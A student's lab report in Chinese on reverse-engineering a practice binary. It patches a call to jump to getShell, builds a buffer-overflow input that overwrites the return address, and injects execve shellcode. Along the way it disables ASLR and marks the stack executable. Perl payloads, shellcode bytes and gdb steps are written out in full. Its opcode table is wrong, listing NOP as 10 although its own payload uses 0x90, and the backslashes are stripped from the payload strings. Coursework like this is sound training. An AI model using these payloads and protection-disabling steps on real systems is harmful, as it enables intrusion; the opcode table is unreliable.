2018-2019 20165208 网络对抗 Exp1 PC平台逆向破解
实验要求
- 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
- 掌握反汇编与十六进制编程器
- 能正确修改机器指令改变程序执行流程
- 能正确构造payload进行bof攻击
实验内容
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
实验准备
NOP, JNE, JE, JMP, CMP汇编指令的机器码
汇编指令 | 机器码 |
---|---|
NOP | 10 |
JNE | 74 Dest |
JMP | 70 Dest |
实验步骤
1.1
1.下载目标文件pwn1,反汇编。
- 分析:main函数中call 8048491
指令,其机器码为e8d7ffffff,e8表示跳转,先需将原本跳到foo 0848491的命令修改为跳到getshell 804847d
2.cp pwn1 pwn2
复制源文件,修改可执行文件pwn2,将其中的call指令的目标地址由d7ffffff
改为c3ffffff
vim pwn2
进入编辑模式
esc
->:%!xxd
将显示模式切为16进制模式/e8d7
查找要修改的内容,上下比较后为所要找的命令
- 修改d7为c3
:%!xxd -r
转换16进制为原格式:wq
存盘退出vimobjdump -d pwn2
命令反汇编,验证call指令是否正确调用getShell:
3.效果验证./pwn2
运行代码,得到shell提示符#:
1.2
1. objdump -d pwn1
命令反汇编
分析:
- 我们的目标是触发函数getShell,而该可执行文件正常运行是调用函数foo,这个函数有Buffer overflow漏洞。
- 函数foo中的mov(804849a)读入字符串,但系统只预留了32字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址
- 函数main中的call调用函数foo,同时在堆栈上压上返回地址值:80484ae
2. 确认输入字符串哪几个字符会覆盖到返回地址
- 如果输入字符串1111111122222222333333334444444412345678,那 1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址,输给pwn1,pwn1就会运行getShell。
3. 确认用什么值来覆盖返回地址
- 对比之前eip 0x34333231 0x34333231,正确应用输入 11111111222222223333333344444444x7dx84x04x08
4. 构造输入字符串
-
注:x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。
关于Perl:Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用。
使用输出重定向“>”将perl生成的字符串存储到文件input中。 -
使用16进制查看指令xxd查看input文件的内容是否如预期。然后将input的输入,通过管道符“|”,作为pwn1的输入。
1.3
1. 准备一段Shellcode
- shellcode就是一段机器指令(code)
通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。 - 以下实践即使用该文章中生成的shellcode。如下:
x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80
2. 准备工作
apt-get install execstack //安装execstack命令
execstack -s pwn1 //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化
3.构造要注入的payload
- Linux下有两种基本构造攻击buf的方法:retaddr+nop+shellcode和nop+shellcode+retaddr。因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边
- 我们这个buf够放shellcode。故结构为:nops+shellcode+retaddr。nop一为是了填充,二是作为“着陆区/滑行区”。我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。
4. 确定x4x3x2x1到底该填什么
- 打开一个终端注入这段攻击buf
- 再开另外一个终端,用gdb来调试pwn5208这个进程
- 用
ps -ef | grep pwn5208
命令找到pwn5208的进程号是:6827
- 用
gdb
、attach 6827
命令启动gdb调试这个进程 - 用
disassemble foo
命令反汇编,通过设置断点,来查看注入buf的内存地址 - 用
break *0x080484ae
命令设置断点,输入c
命令继续运行
- 同时在pwn5208进程正在运行的终端敲回车,使其继续执行。
- 再返回调试终端,使用
info r esp
命令查找地址。用x/16x 0xffffd2ec
命令查看其存放内容,看到了0x01020304
,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,所以地址应为0xffffd2f0
- 接下来只需要将之前的x4x3x2x1改为这个地址即可,用命令
perl -e 'print "A" x 32;print "xf0xd2xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
,再用(cat input_shellcode;cat) | ./pwn1
命令次执行程序,攻击成功
- 用
实验中遇到的问题与解决方法
- 在第三节实验准备工作中,出现下图中的问题
解决方式:
- 网上搜索了下,首先尝试了 ps -aux|grep apt-get 查看进程号,然后 sudo kill ****(进程号) KILL掉。
- 后尝试直接删除 sudo rm /var/lib/dpkg/lock 顺利进入下一步,后遇此提示逐一 sudo rm之。
实验收获与感想
本次实验我在老师上课前先练习着跟着老师的教程自己做了一遍,其中命令很详细,前两个实验都顺利完成了,但当时也留下了几个疑问主要为实验一foo改为getshell的具体命令值计算,以及为什么第二个实验预留了32位的长度。以及第三个实验按照命令进行无法实现shell功能。
在课上我解决了前两个问题,具体的计算已经写在实验报告中了。这里要提一个当时犯懵没搞懂的一个点,为什么1c是28,汇编语言中的数值为16进制,16+12=28。搞懂了两个问题后,课上的时间并没有让我解决第三个问题。
课后我选择备份新文件重新进行操作,一次便成功了,这也让我意识到课上老师所说“备份是一个优秀的习惯”。
本次实验让我初尝这门课的乐趣,漏洞攻击也没有我想象的那么复杂,以本次实验为例,三个步骤其实都是在确定返回地址应该修改为多少才能使进程跳转到getshell的部分。总体来看,本次实验收获还是蛮多的,我也更期待之后的实验。
什么是漏洞?漏洞有什么危害?
漏洞是指一个系统存在的弱点或缺陷,系统对特定威胁攻击或危险事件的敏感性,或进行攻击的威胁作用的可能性。漏洞可能来自应用软件或操作系统设计时的缺陷或编码时产生的错误,也可能来自业务在交互处理过程中的设计缺陷或逻辑流程上的不合理之处。
漏洞的存在,很容易导致黑客的侵入及病毒的驻留,会导致数据丢失和篡改、隐私泄露乃至金钱上的损失,如:网站因漏洞被入侵,网站用户数据将会泄露、网站功能可能遭到破坏而中止乃至服务器本身被入侵者控制。